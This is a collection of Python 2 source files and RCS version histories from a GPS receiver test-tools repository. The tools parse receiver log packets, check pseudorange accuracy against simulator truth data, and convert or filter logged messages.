def _test(self, rawlog_numbers, test_accuracy):
self.set_test_type(test_accuracy)
self.reset_test_results()
for self.rawlog_number in rawlog_numbers:
self.get_parms()
PseudorangeAccuracyTest.test(self, False, False);
if len(rawlog_numbers) > 1:
print '\nOverall %s test result for rawlogs %s:' % \
(('overbounding', 'accuracy')[test_accuracy], rawlog_numbers, )
return self.check_passed()
def test(self):
logger = stdout_logger.Logger('pracc_log.txt')
print_header()
pracc = PseudorangeAccuracyTest()
while True:
print '\n--------------------------------------------------------------------';
s = raw_input('Rawlog numbers (separated by spaces)? (Enter to quit) : ').strip()
if not s:
break
if s.lower() == 'a':
print 'Testing all'
sections = PseudorangeAccuracyTest.rawlog_info_dict.get_nums_by_section(True)
section_nums = sections.keys()
section_nums.sort()
for section in section_nums:
print '\n====================================================================';
print 'Testing section', section
print '\n------------------------------------------------------------';
print 'Testing overbounding of rawlogs', rawlog_numbers
self._test(rawlog_numbers, False)
print '\n------------------------------------------------------------';
print 'Testing accuracy of rawlogs', rawlog_numbers
self._test(rawlog_numbers, True)
else:
try:
rawlog_numbers = [number for number in s.split()]
except ValueError:
print 'Invalid rawlog number(s)'
self._test(rawlog_numbers, False)
self._test(rawlog_numbers, True)
print '\nTotal: Passed %i of %i tests' % \
(pracc.num_tests_passed, pracc.num_tests_run)
print '\nCombined PRN accuracy statistics for all tests:'
print_prn_errs(pracc.prn_errs)
logger.close()
class PseudorangeAccuracyTestFromCommandFile(PseudorangeAccuracyTest):
"""Tests pseudorange accuracy of a log file as specified by a command
file"""
def __init__(self, cmd_fnames):
PseudorangeAccuracyTest.__init__(self)
self.cmd_fnames = cmd_fnames
self.svranges_fname = ''
def get_parms(self):
"""Gets parameters from a command file"""
print 'Reading commands from', self.cmd_fname
cmds = [line.strip() for line in file(self.cmd_fname).readlines()]
if self.svranges_fname != cmds[0]: # line 1: truth file pathname
self.svranges = svranges.read(cmds[0])
self.svranges_fname = cmds[0]
self.fname = cmds[1] # line 2: log file pathname
# set parser type to XPR or ARINC depending on keywords in the file name
fname = self.fname.lower()
if 'a429' in fname or 'arinc' in fname or '.raw' in fname or '.csv' in fname:
xpr_parser = False # use ARINC parser
else:
xpr_parser = True # use XPR parser
self.set_parser_type(xpr_parser)
if (cmds[2].lower().startswith('min')): # line 3: min/max and excluded PRN (min only)
self.test_min_signal = self.parser.min_signal = True
self.parser.excluded_prns = [int(prn) for prn in cmds[2].split()[1:]]
else:
self.test_min_signal = self.parser.min_signal = False
self.parser.excluded_prns = []
#self.overbounding_test_tow = float(cmds[3]) # line 4: overbounding TOW
#self.accuracy_test_tow = float(cmds[4]) # line 5: accuracy TOW
AccuracyDataDict.SAMPLING_INTERVAL_SEC = float(cmds[3]) # line 6: sampling interval, in seconds
self.parser.MASK_ANGLE_DEG = float(cmds[4]) # line 7: mask angle, in degrees
try:
self.parser.max_tow = float(cmds[5]) # line 8: (optional) max TOW
except IndexError:
self.parser.max_tow = None
def get_out_fname(self):
out_fname = ''
for cmd_fname in self.cmd_fnames:
path, fname = os.path.split(cmd_fname)
if (fname.endswith('_in.txt')):
out_fname += fname[:-6]
else:
out_fname += os.path.splitext(fname)[0]
out_fname += 'out.txt'
return out_fname
def test(self):
"""Tests a log file as specified in the command file"""
# change to the directory specified with the first command file, if any
cwd = os.getcwd()
path, fname = os.path.split(self.cmd_fnames[0])
if path:
os.chdir(path)
self.cmd_fnames[0] = fname # remove path
# open output log file using a name derived from the command fnames
out_fname = self.get_out_fname()
print 'Writing output to', out_fname
logger = stdout_logger.Logger(out_fname)
print_header()
# test overbounding and accuracy
for test_type in (False, True):
self.reset_test_results()
for self.cmd_fname in self.cmd_fnames:
self.get_parms()
self.set_test_type(test_type)
PseudorangeAccuracyTest.test(self, False, False, \
len(self.cmd_fnames) == 1)
if len(self.cmd_fnames) > 1:
print '\nCombined %s test result for %s:' % \
(('overbounding', 'accuracy')[self.test_accuracy], \
' '.join(self.cmd_fnames))
self.check_passed()
logger.close()
# change back to original directory
os.chdir(cwd)
#-----------------------------------------------------------------------------
# main
if __name__ == '__main__':
if (len(sys.argv) > 1):
PseudorangeAccuracyTestFromCommandFile(sys.argv[1:]).test()
else:
PseudorangeAccuracyTestFromCommandLine().test()
<file_sep>/rcs/sv_position.py
head 1.2;
branch ;
access ;
symbols 2PXRFS1:1.2 PVTSE_tests:1.2 HT_0113:1.2 TRR1:1.2;
locks ; strict;
comment @@;
1.2
date 2007.12.19.23.16.56; author Grant.Griffin; state In_Progress;
branches ;
next 1.1;
1.1
date 2007.12.19.21.21.55; author Grant.Griffin; state In_Progress;
branches ;
next ;
ext
@project R:/HostTools/HostTools.pj;
@
desc
@@
1.2
log
@added comments@
text
@""" sv_position.py: Provides a class to represent the position of a GPS
satellite.
Copyright 2007, Honeywell International Inc.
"""
__version__ = '$Revision: 1.1 $'
class SvPosition:
def __init__(self, tow, prn, x, y, z, vel_x=0.0, vel_y=0.0, vel_z=0.0):
self.tow = tow
self.prn = prn
self.x = x
self.y = y
self.z = z
self.vel_x = vel_x
self.vel_y = vel_y
self.vel_z = vel_z
def __str__(self):
return '%f %3d (%f, %f, %f)' % \
(self.tow, self.prn, self.x, self.y, self.z)
def interp(self, truth):
""" Uses the supplied truth time and velocity to return an SvPosition
that represents the object's position interpolated to the truth
time."""
assert(self.prn == truth.prn)
delta_tow = truth.tow - self.tow
return SvPosition(truth.tow, self.prn,
self.x + truth.vel_x * delta_tow,
self.y + truth.vel_y * delta_tow,
self.z + truth.vel_z * delta_tow)
def delta(self, other):
""" Returns an SvPosition representing the difference between the
object and specified object."""
return SvPosition(other.tow, other.prn, other.x - self.x,
other.y - self.y, other.z - self.z)
def max_abs_err(self, truth):
err = self.error(truth)
return max( (abs(err.x), abs(err.y), abs(err.z)) )@
1.1
log
@Initial revision@
text
@d1 8
d26 3
d36 5
a40 3
def error(self, truth):
return SvPosition(truth.tow, truth.prn, truth.x - self.x,
truth.y - self.y, truth.z - self.z)
@
<file_sep>/rcs/truth_sv_pos.py
head 1.2;
branch ;
access ;
symbols 2PXRFS1:1.2 PVTSE_tests:1.2 HT_0113:1.2 TRR1:1.2;
locks ; strict;
comment @@;
1.2
date 2007.12.18.16.21.19; author Grant.Griffin; state In_Progress;
branches ;
next 1.1;
1.1
date 2007.12.18.15.57.55; author Grant.Griffin; state In_Progress;
branches ;
next ;
ext
@project R:/HostTools/HostTools.pj;
@
desc
@@
1.2
log
@added proviso to show all PRNs if none were given on the command line@
text
@import sys
from truth_log import Parser
class SvPositionParser(Parser):
def __init__(self, fname, prns):
self.prns = [int(prn) for prn in prns]
Parser.__init__(self, fname)
def handle(self, td):
# print td
if not self.prns or (td['sat_prn'] in self.prns):
print td.tow,
for name in ('sat_prn', 'sat_pos_x', 'sat_pos_y', 'sat_pos_z'):
print td[name],
print
if __name__ == '__main__':
p = SvPositionParser(sys.argv[1], sys.argv[2:])
p.parse()@
1.1
log
@Initial revision@
text
@d12 1
a12 1
if td['sat_prn'] in self.prns:
@
<file_sep>/pytools/Other Pytools/convert47.py
""" convert47.py : Converts packet 0x47s from a PxPress log file into a set
of binary VDB data files in Spirent's ".dat" format. One file is written for
each SSID by appending the SSID to the root name of the log file. For example:
convert47 log31.txt
will write a set of files called 'log31_x.dat', where 'x' is an SSID.
"""
import sys, os.path
from xpr_log import Parser as Parser
class SSID:
"""Handles packet 0x47s for a single SSID."""
def __init__(self, log_fname, ssid):
self.out_fname = os.path.splitext(log_fname)[0] + '_' + str(ssid) + '.dat'
self.out_f = open(self.out_fname, 'wb')
self.ssid = ssid
self.msgs = []
self.num_blocks = 0
def handle47(self, msg):
try:
if msg.packet_sequence_number <= self.msgs[-1].packet_sequence_number:
# process a complete block
self.num_blocks += 1
# check the messages in this block to see if they have sequential
# sequence numbers and all have the same number of packets
bad_set = (self.msgs[0].packets_in_message != len(self.msgs))
for i in xrange(1, len(self.msgs)):
last_msg = self.msgs[i - 1]
this_msg = self.msgs[i]
if (this_msg.packets_in_message != len(self.msgs)) \
or (last_msg.packet_sequence_number + 1 != this_msg.packet_sequence_number):
bad_set = True
break
if bad_set:
print 'Bad set:'
# concatenate the data strings from each packet
data = ''
for m in self.msgs:
#print m.timestamp(), ': SSID =', self.ssid
data += m.data_bytes
#print
self.msgs = []
if not bad_set:
# build a pad to make a 256-byte block
pad = [chr(0)] * (256 - len(data))
pad = ''.join(pad)
self.out_f.write(data + pad)
except IndexError:
pass
self.msgs.append(msg)
class Convert47(Parser):
"""Converts a log file to a set of VDB data files in Spirent's ".dat"
format."""
def __init__(self):
Parser.__init__(self)
self.ssids = {}
self.num_packets = 0
def handle47(self, msg):
self.num_packets += 1
ssid = msg.station_slot_identifier
if not self.ssids.has_key(ssid):
self.ssids[ssid] = SSID(self.fname, ssid)
self.ssids[ssid].handle47(msg)
def at_main_end(self):
num_blocks = 0
for ssid in self.ssids.values():
num_blocks += ssid.num_blocks
print 'Wrote %d messages in %d blocks for %d SSID(s)' \
% (self.num_packets, num_blocks, len(self.ssids))
if __name__ == '__main__':
Convert47().main('Convert47')<file_sep>/pytools/Other Pytools/num_meas.py
""" Prints the sequence number, the number of measurements, and the PRNs which
have measured each time the number changes """
from xpr_log import Parser
class Num_Meas(Parser):
def __init__(self):
Parser.__init__(self)
self.last_num_meas = 0
self.get_parse_ids_from_handlers()
self.parse_command_line_fnames()
def handle28(self, msg):
print msg.line
def handle30(self, msg):
prns = {}
num_meas = 0
for meas in msg.measurements:
prns[meas.prn] = 1
if meas.validity_mask & 0x08:
num_meas += 1
if num_meas != self.last_num_meas:
prn_list = prns.keys()
prn_list.sort()
print '%06i : %s -> %i' % \
(msg.get_sequence_number(), prn_list, num_meas)
self.last_num_meas = num_meas
if len(prns) == 1:
print msg.get_sequence_number(), 'RXC clock acquisition of PRN', prns.keys()[0]
if __name__ == '__main__':
Num_Meas()<file_sep>/pytools/Other Pytools/lock_changes.py
""" Shows when the lock count is reset """
from xpr_log import Parser
class LockChanges(Parser):
def parse(self, fname):
print 'Parsing lock count resets from', fname
self.chan_lock_count = [-1] * 24 # 24 channels - store lock count
self.prn = [-1] * 24 # 24 channels - store PRN (so this can be used in test mode)
Parser.parse(self, fname)
def handle3A(self, msg):
for stat in msg.channel_stat:
# Index's are zero based, so we subtract off 1
if stat.state & 0x04: # if this SV is tracking
if (stat.prn != self.prn[stat.hardware_channel]):
# GOOD - we are now locked on
print '%s: GOOD - channel %i is now tracking prn %i' % \
(msg.timestamp(), stat.hardware_channel, stat.prn)
self.prn[stat.hardware_channel] = stat.prn
self.chan_lock_count[stat.hardware_channel] = -1;
elif (stat.lock_count > self.chan_lock_count[stat.hardware_channel]):
# Valid data - store it
self.chan_lock_count[stat.hardware_channel] = stat.lock_count
elif (self.prn[stat.hardware_channel] != -1):
if (stat.elevation < 5):
# OK - it's ok to lose lock when elevation less than 5 degrees
print '%s: INFO - lock count for prn %i on channel %i at elevation %i has been reset from %i to %i ' % \
(msg.timestamp(), stat.prn, stat.hardware_channel, stat.elevation, self.chan_lock_count[stat.prn], stat.lock_count)
else:
# BAD - should not have lost lock
print '%s: ERROR - lock count for prn %i on channel %i at elevation %i changed from %i to %i ' % \
(msg.timestamp(), stat.prn, stat.hardware_channel, stat.elevation, self.chan_lock_count[stat.prn], stat.lock_count)
self.prn[stat.hardware_channel] = -1
if __name__ == '__main__':
LockChanges().main('LockChanges')<file_sep>/rcs/svranges.py
head 1.9;
branch ;
access ;
symbols 2PXRFS1:1.9 PVTSE_tests:1.9 HT_0113:1.9 TRR1:1.9;
locks ; strict;
comment @@;
1.9
date 2007.12.14.21.03.56; author Grant.Griffin; state In_Progress;
branches ;
next 1.8;
1.8
date 2007.07.16.20.26.51; author Grant.Griffin; state In_Progress;
branches ;
next 1.7;
1.7
date 2007.05.30.20.19.20; author Grant.Griffin; state In_Progress;
branches ;
next 1.6;
1.6
date 2007.02.08.21.08.26; author Grant.Griffin; state In_Progress;
branches ;
next 1.5;
1.5
date 2006.04.28.20.26.28; author griffin_g; state In_Progress;
branches ;
next 1.4;
1.4
date 2004.11.19.16.17.12; author griffin_g; state In_Progress;
branches ;
next 1.3;
1.3
date 2004.11.17.19.25.18; author griffin_g; state In_Progress;
branches ;
next 1.2;
1.2
date 2004.11.15.17.21.36; author griffin_g; state In_Progress;
branches ;
next 1.1;
1.1
date 2004.11.12.21.57.30; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project R:/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.9
log
@added __version__@
text
@""" svranges.py: encapsulates truth data from the GPS signal simulator
(this is a support unit for pracc.py)
"""
__version__ = '$Revision: 1.8 $'
import re
class Svrange:
""" holds a single line of satellite truth data """
def __init__(self, line='', tow=0.0, prn=0, range=0.0, deltarange=0.0):
if line:
fields = line.split()
self.tow = float(fields[0])
self.prn = int(fields[1])
self.range = float(fields[2])
self.deltarange = float(fields[3])
else:
self.tow = tow
self.prn = prn
self.range = range
self.deltarange = deltarange
def __str__(self):
return '%0.1f %i %0.4f %0.4f 0.0 0.0' % \
(self.tow, self.prn, self.range, self.deltarange)
class SvrangeList(list):
""" holds a list of satellite truth data """
verbose = True
def __init__(self, svrange=None):
self.delta_t = 1.0
if svrange is not None:
self.append(svrange)
def get_delta_t(self):
self.delta_t = self[1].tow - self[0].tow
assert(self.delta_t > 0.0)
def read(self, fname):
if self.verbose: print 'Reading', fname, '...',
f = open(fname)
for line in f:
self.append(Svrange(line))
if self.verbose: print 'done.'
f.close()
self.get_delta_t()
def write(self, fname=''):
if not fname:
fname = '_svrange_' + str(self[0].prn) + '.txt'
if self.verbose: print 'Writing', fname, '...',
f = open(fname, 'wt')
for svrange in self:
print >> f, str(svrange)
if self.verbose: print 'done.'
f.close()
def get_tow_index(self, tow):
index = int(round((tow - self[0].tow) / self.delta_t))
if index < 0 or index >= len(self):
index = 0
return index
class Svranges(dict):
""" holds a collection of satellite truth data organized in a dictionary, keyed by PRN """
prn_re = re.compile('svrange_(\d+).txt')
def __init__(self, fname='sat_data_V1A1.csv'):
if fname:
self.read(fname)
def read(self, fname):
try:
f = open(fname)
except IOError:
print 'Cannot open %s for reading' % (fname, )
self.read_prn_files()
return
print 'Reading svdata file', fname, '...',
# get starting second from first line
line = f.readline()
start_sec = float(line.split(',')[1])
# get field names from second line
field_names = f.readline().split(',')
field_index = {}
for ii in xrange(len(field_names)):
field_index[field_names[ii]] = ii
# get indices of selected fields from field names
Time_ms_index = field_index['Time_ms']
Sat_PRN_index = field_index['Sat_PRN']
Range_index = field_index['Range']
P_R_rate_index = field_index['P-R_rate']
# get svdata
for line in f:
fields = line.split(',')
# get selected field values
try:
prn = int(fields[Sat_PRN_index])
if not prn:
continue
Time_ms = float(fields[Time_ms_index])
Range = float(fields[Range_index])
P_R_rate = float(fields[P_R_rate_index])
except IndexError:
print 'Debugging info:'
print field_index
print line
for i in xrange(len(fields)):
print '[', i, fields[i], ']'
raise
# create an Svrange object for the measurement
tow_sec = start_sec + Time_ms / 1000.0
tow_sec %= (3600.0 * 24 * 7)
svrange = Svrange('', tow_sec, prn, Range, P_R_rate)
# add the measurement to self[prn]
try:
self[prn].append(svrange)
except KeyError:
self[prn] = SvrangeList(svrange)
f.close()
for prn in self:
self[prn].get_delta_t()
print 'done.'
def write(self):
for prn in self:
self[prn].write()
def read_prn_files(self):
print 'Reading individual svrange files'
import glob
for fname in glob.glob('svrange_*.txt'):
m = self.prn_re.search(fname)
if m:
prn = int(m.group(1))
self[prn] = SvrangeList()
self[prn].read(fname)
def __str__(self):
return str([(key, len(self[key]), self[key].delta_t) for key in self.keys()])
def read(fname='sat_data_V1A1.csv'):
import os.path, cPickle
pik_fname = os.path.splitext(fname)[0] + '.pik'
use_pickle = False
try:
if os.path.getmtime(pik_fname) > os.path.getmtime(fname) and \
os.path.getsize(pik_fname) > 10000000: # 10M
use_pickle = True
except OSError:
pass
if use_pickle:
f = open(pik_fname, 'rb')
print 'Unpickling svranges from', pik_fname
svranges = cPickle.Unpickler(f).load()
else:
f = open(pik_fname, 'wb')
svranges = Svranges(fname)
print 'Pickling svranges to', pik_fname
cPickle.Pickler(f, -1).dump(svranges)
f.close()
return svranges
if __name__ == '__main__':
svranges = read()
print svranges
svranges.write()
print
print "Delete the pickle file after running this test to avoid:"
print " AttributeError: 'module' object has no attribute 'Svranges'"@
1.8
log
@reworked to use field names supplied within the file rather than use assumed field ordering@
text
@d5 2
@
1.7
log
@modified to make compatible with the extra columns in the new Spirent truth file format@
text
@d87 5
a91 2
# consume second line (field names, as below)
f.readline()
d93 6
d101 1
a101 7
( Time_ms, Channel, Sat_type, Sat_ID, Sat_PRN, Echo_Num,
Sat_Pos_X, Sat_Pos_Y, Sat_Pos_Z, Sat_Vel_X, Sat_Vel_Y,
Sat_Vel_Z, Azimuth, Elevation, Range, P_Range_L1CA,
P_Range_L2P, P_Range_L5, P_R_rate, Iono_delay_L1CA,
Iono_delay_L2P, Iono_delay_L5, Tropo_delay, P_R_Error,
Signal_dB_L1CA, Signal_dB_L2P, Signal_dB_L5, Ant_azimuth,
Ant_elevation ) = line.split(',')[:29]
d103 18
a120 1
tow_sec = start_sec + float(Time_ms) / 1000.0
d122 3
a124 4
prn = int(Sat_PRN)
if not prn:
continue
svrange = Svrange('', tow_sec, prn, float(Range), float(P_R_rate))
d156 2
a157 1
if os.path.getmtime(pik_fname) > os.path.getmtime(fname):
@
1.6
log
@fixed error-printing bug@
text
@d98 1
a98 1
Ant_elevation ) = line.split(',')
@
1.5
log
@added status messages@
text
@d79 1
a79 1
'Cannot open %s for reading' % (fname, )
@
1.4
log
@added pickling@
text
@d79 1
d120 1
@
1.3
log
@added the ability to read a combined svdata file@
text
@d129 21
d152 1
a152 1
svranges = Svranges()
d154 4
a157 1
svranges.write()@
1.2
log
@added verbose flag@
text
@d10 16
a25 8
tow_adjust = 0.001
def __init__(self, line):
fields = line.split()
self.tow = float(fields[0]) - self.tow_adjust
self.prn = int(fields[1])
self.range = float(fields[2])
self.deltarange = float(fields[3])
d30 1
a30 1
verbose = False
d32 9
a40 5
def __init__(self, fname=''):
self.first_tow = None
if fname:
self.read(fname)
a41 1
self.fname = fname
a45 2
self.first = self[0]
self.prn = self.first.prn
d47 2
d50 10
d61 1
a61 1
index = int(round(tow - self.first.tow))
d71 48
a118 1
def __init__(self):
d124 2
a125 1
self[prn] = SvrangeList(fname)
d128 1
a128 1
return str([(key, len(self[key])) for key in self.keys()])
d132 2
a133 1
print svranges@
1.1
log
@Initial revision@
text
@d21 2
d31 1
a31 1
print 'Reading', fname, '...',
d37 1
a37 1
print 'done.'
@
<file_sep>/pytools/Other Pytools/stdout_logger.py
"""stdout_logger.py: provides a logging capability for sys.stdout"""
__version__ = '$Revision: 1.2 $'
import sys
class Logger:
"""Redirects sys.stdout to both print output and log it output to a file"""
def __init__(self, fname='stdout_log.txt', mode='wt'):
self.f = file(fname, mode)
self.stdout = sys.stdout
sys.stdout = self
def __del__(self):
if not self.f.closed:
self.close()
def close(self):
self.f.close()
sys.stdout = self.stdout
def write(self, s):
self.f.write(s)
self.stdout.write(s)
if __name__ == '__main__':
logger1 = Logger()
print 'Testing...\n'
print 'Test 1:'
print ' __init__'
logger1.close()
print ' __del__'
del logger1
# note that __del__ does not get called when you explicitly delete the
# object, because sys.stdout still holds a reference to it. instead,
# __del__ for logger1 gets called when logger2 takes over
# sys.stdout, below
logger2 = Logger('stdout_log.txt', 'at')
print '\nTest 2:'
print ' __init__'
print ' close'
print '\n...done testing'
logger2.close()<file_sep>/rcs/filter_msgs.py
head 1.2;
branch ;
access ;
symbols ;
locks ; strict;
comment @@;
1.2
date 2004.10.13.15.33.19; author griffin_g; state In_Progress;
branches ;
next 1.1;
1.1
date 2004.09.22.13.48.45; author griffin_g; state In_Progress;
branches ;
next ;
desc
@@
1.2
log
@@
text
@"""filter_msgs.py: Filters messages in a text GPS Host log file, outputting
only messages which have the specified ID. It also serves as an example of how
to use the xpr_log module.
Usage:
filter_msgs id [inp_fname] [out_fname]
Where:
id is the hex packet number, e.g. '1f'
inp_fname is the input file name. It defaults to 'rawlog.txt'
if not supplied
out_fname is the output file name. It defaults to the root of
inp_fname plus a file extention of msg_id
"""
import sys, os.path
from xpr_log import Parser
def usage(msg=''):
print __doc__
sys.exit(msg)
class MessageFilter(Parser):
def __init__(self, id, inp_fname, out_fname):
Parser.__init__(self)
self.set_ids_to_parse([id.upper()])
self.num_written = 0
self.out_f = open(out_fname, 'w')
self.parse(inp_fname)
self.out_f.close()
print 'Wrote %i of %i messages to %s.' % \
( self.num_written, self.num_parsed, out_fname )
def handle(self, msg):
self.num_written += 1
self.out_f.write(msg.line)
if __name__ == '__main__':
# get command-line arguments
try:
id = sys.argv[1]
except IndexError:
usage('No message ID was supplied')
try:
inp_fname = sys.argv[2]
except IndexError:
inp_fname = 'rawlog.txt'
try:
out_fname = sys.argv[3]
except IndexError:
out_fname = os.path.splitext(inp_fname)[0] + '.' + id
# filter and write output
MessageFilter(id, inp_fname, out_fname)@
1.1
log
@Initial revision@
text
@d19 1
a19 1
import xpr_log
d25 1
a25 1
class MessageFilter(xpr_log.Parser):
d28 3
a30 4
print 'Reading', inp_fname, 'and writing', out_fname, '...',
self.id = id.lower()
self.num_messages = 0
self.num_matching_messages = 0
d34 2
a35 3
print 'done.'
print 'Wrote %i messages out of %i.' % \
( self.num_matching_messages, self.num_messages )
d38 2
a39 4
self.num_messages += 1
if (msg.id.lower() == self.id):
self.num_matching_messages += 1
self.out_f.write(msg.line)
@
<file_sep>/rcs/prn_changes.py
head 1.2;
branch ;
access ;
symbols 2PXRFS1:1.2 PVTSE_tests:1.2 HT_0113:1.2 TRR1:1.2;
locks ; strict;
comment @@;
1.2
date 2007.08.17.18.16.39; author Grant.Griffin; state In_Progress;
branches ;
next 1.1;
1.1
date 2005.04.26.20.07.19; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project R:/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.2
log
@fixed detection of tracking channels@
text
@""" Prints a message each time the version, mode, or set of PRNs changes """
__version__ = '$Revision: 1.1 $'
from mode_changes import ModeChanges as Parser
class PRN_Changes(Parser):
def __init__(self):
Parser.__init__(self)
self.last_num_prns = 0
self.dwell_commands = [None] * 24
def handle28(self, msg):
## for svid in self.dwell_commands.keys():
## if self.dwell_commands[svid] < msg.second - 2:
## del(self.dwell_commands[svid])
if msg.r_svid == 0:
self.dwell_commands[msg.r_listid - 1] = None
else:
self.dwell_commands[msg.r_listid - 1] = (msg.r_svid, msg.second)
def handle30(self, msg):
commanded_prns = {}
tracking_prns = {}
measuring_prns = {}
num_meas = 0
for meas in msg.measurements:
commanded_prns[meas.prn] = 1
if meas.state >= 3:
if meas.carrier_to_noise_ratio > 30:
tracking_prns[meas.prn] = 1
if meas.validity_mask & 0x08:
num_meas += 1
measuring_prns[meas.prn] = 1
if len(commanded_prns) != self.last_num_prns:
print msg.timestamp()
print ' Dwell commands:', # [cmd for cmd in self.dwell_commands if cmd != None]
for ii in xrange(len(self.dwell_commands)):
cmd = self.dwell_commands[ii]
if cmd != None:
print '(%i -> %i @@ %is)' % (ii, cmd[0], cmd[1]),
print
keys = commanded_prns.keys()
keys.sort()
print ' Commanded PRNs:', keys
keys = tracking_prns.keys()
keys.sort()
print ' Tracking PRNs: ', keys
keys = measuring_prns.keys()
keys.sort()
print ' Measuring PRNs:', keys
print
self.last_num_prns = len(commanded_prns)
if len(commanded_prns) == 1:
print '%s : RXC clock acquisition of PRN %i' % \
(msg.timestamp(), prns.keys()[0])
if __name__ == '__main__':
PRN_Changes().main('PRN Changes')@
1.1
log
@Initial revision@
text
@d24 1
a24 1
prns = {}
d29 4
a32 3
prns[meas.prn] = 1
if meas.state >= 1:
tracking_prns[meas.prn] = 1
d36 1
a36 1
if len(prns) != self.last_num_prns:
d44 1
a44 1
keys = prns.keys()
d54 2
a55 2
self.last_num_prns = len(prns)
if len(prns) == 1:
@
<file_sep>/pytools/Other Pytools/pracc_xpr_parser.py
from mode_changes import ModeChanges as XprParser
from pracc_data import *
class PseudorangeAccuracyXprParser(PseudorangeAccuracyData, XprParser):
packet31_navigation_modes = ['Navigation', 'Non-precision_SBAS_Navigation',
'Dead-Reckoning', 'Precision_SBAS_Navigation', 'GBAS']
MASK_ANGLE_DEG = 0.0
def __init__(self):
PseudorangeAccuracyData.__init__(self)
XprParser.__init__(self)
def restart(self):
PseudorangeAccuracyData.restart(self)
self.msg1B = self.msg30 = self.msg32 = self.msg3A = self.msg3B = None
self.msg55s = []
# handle XPR packets 1B, 21, 25, 29 from Level 1 core:
def handle1B(self, msg):
self.msg1B = msg
def handle21(self, msg):
if self.msg1B is None:
return
cn0 = None
for status in self.msg1B.statuses:
if status.prn == msg.prn:
cn0 = status.carrier_to_noise_ratio
break
if cn0 is None:
print 'No CN0 is available for message:', msg.timestamp()
else:
self.add_svdata(msg.timestamp(), msg.prn,
msg.tow + LEVEL1_CORE_TOW_ADJUST_SEC, msg.rk_pr,
pr_noise_sigma(msg.prn, self.min_signal))
def handle25(self, msg):
self.cbiases.append(ClockBias(msg.mk_tow + LEVEL1_CORE_TOW_ADJUST_SEC, msg.mk_cbias))
def handle29(self, msg):
if self.verbose and (msg.fault_type == 90): # (msg.fault_type == 90 or msg.fault_type == 170):
print msg.line, # includes newline
# handle EXPR packets 30, 31, 32 packets from Level 2 core:
def handle30(self, msg):
self.msg30 = msg
def handle31(self, msg):
was_navigating = self.navigating
self.navigating = (msg.mode in self.packet31_navigation_modes)
if self.navigating and not was_navigating:
print 'Navigating at TOW', self.tow
def handle32(self, msg):
if msg.at_pps:
# process measurements from the prior second
self.process_measurements()
# mark old messages as invalid
self.msg30 = self.msg3A = self.msg3B = None
# save the new msg32 for the next processing cycle
self.msg32 = msg
def handle3A(self, msg):
if self.msg3A is None or \
self.msg3A.time_mark_sequence_number != msg.time_mark_sequence_number:
# this is the first message in the sequence
self.msg3A = msg
else:
# aggregate data from multiple messages with the same sequence number
self.msg3A.channel_stat += msg.channel_stat
def handle3B(self, msg):
if self.msg3B is None or \
self.msg3B.time_mark_sequence_number != msg.time_mark_sequence_number:
# this is the first message in the sequence
self.msg3B = msg
else:
# aggregate data from multiple messages with the same sequence number
self.msg3B.measurements += msg.measurements
def handle55(self, msg):
self.msg55s.append(msg)
def process_measurements(self):
# check if we have a valid msg32
if self.msg32 is None:
return
if not self.navigating:
self.min_measurement_tow = None
return
if not self.msg32.at_pps:
return # not at PPS
if not self.msg32.validity & 0x20:
return # time fields not valid
# calculate TOW and check if measurements can be used
self.tow = self.msg32.gps_tow + LEVEL2_CORE_TOW_ADJUST_SEC
if self.max_tow is not None and self.tow > self.max_tow:
return
if self.min_measurement_tow is None:
if self.navigating:
self.min_measurement_tow = self.tow #+ SETTLING_TIME_SEC
print 'Minimum measurement TOW is', self.min_measurement_tow
else:
return
elif self.tow < self.min_measurement_tow:
return # waiting for measurements to settle
seq_num = self.msg32.time_mark_sequence_number
# process msg30 only if msg3B isn't available
if self.msg3B is None:
if self.msg30 is not None and \
self.msg30.time_mark_sequence_number == seq_num:
self.process_measurements30()
return
# verify that we have a 3A
if self.msg3A is None:
print 'Missing 3A at', self.msg32.timestamp()
return
# verify that 3A and 3B have the same sequence number as 32
if self.msg3A.time_mark_sequence_number != seq_num or \
self.msg3B.time_mark_sequence_number != seq_num:
print 'Time mark sequence number mismatch at %s: %d, %d, %d' % \
(self.msg32.timestamp(), seq_num, self.msg3A.time_mark_sequence_number,
self.msg3B.time_mark_sequence_number)
return
# verify that 3A is complete
if len(self.msg3A.channel_stat) != self.msg3A.number_of_channels_in_receiver:
print 'Incomplete 3A at %s: %d of %d' % \
(self.msg3A.timestamp(),
len(self.msg3A.channel_stat), self.msg3A.number_of_channels_in_receiver)
return
# verify that 3B is complete
if len(self.msg3B.measurements) != self.msg3B.total_number_of_measurements:
print 'Incomplete 3B at %s: %d of %d' % \
(self.msg3B.timestamp(),
len(self.msg3B.measurements), self.msg3B.total_number_of_measurements)
return
# all pre-conditions have been met: process 3B's measurements
self.process_measurements3B()
def process_measurements30(self):
for meas in self.msg30.measurements:
if (meas.validity_mask & 0x08) and (meas.prn not in self.excluded_prns) \
and (meas.pseudorange_sigma < MIN_PR_SIGMA) \
and (self.use_sbas or not is_sbas(meas.prn)) \
and (meas.elevation >= self.MASK_ANGLE_DEG):
assert(meas.health == 'NORM')
pseudorange = meas.pseudorange
if self.test_accuracy:
pr_sigma = pr_noise_sigma(meas.prn, self.min_signal)
else:
# find the sigma noise value for this PRN in the current list of message 55s
pr_sigma = None
for msg55 in self.msg55s:
if msg55.prn == meas.prn:
try:
pr_sigma = msg55.sigma_noise_m
except AttributeError, err:
print 'self.msg55s:', self.msg55s
print 'msg55.line:', msg55.line
print 'msg55.timestamp():', msg55.timestamp()
assert(False)
break
if not self.test_accuracy and pr_sigma == None:
if self.verbose:
print 'No sigma_noise value is available for PRN', \
meas.prn, 'at message:', self.msg32.timestamp()
else:
self.add_svdata(self.msg30.timestamp(), meas.prn, self.tow,
pseudorange, pr_sigma, msg55.sigma_noise_m)
self.msg55s = []
self.cbiases.append(ClockBias(self.tow, 0.0)) # actual clock bias is built into measurements
def process_measurements3B(self):
# build a dictionary of prn elevations from msg3A
elevations = {}
lock_counts = {}
for status in self.msg3A.channel_stat:
elevations[status.prn] = status.elevation
lock_counts[status.prn] = status.lock_count
# parse measurements
for meas in self.msg3B.measurements:
# check if the measurement meets various pre-conditions
if not ((meas.validity_and_in_use_mask & 0xc0) == 0xc0):
# print 'measurement not valid:', meas.validity_and_in_use_mask
continue
if (meas.prn in self.excluded_prns):
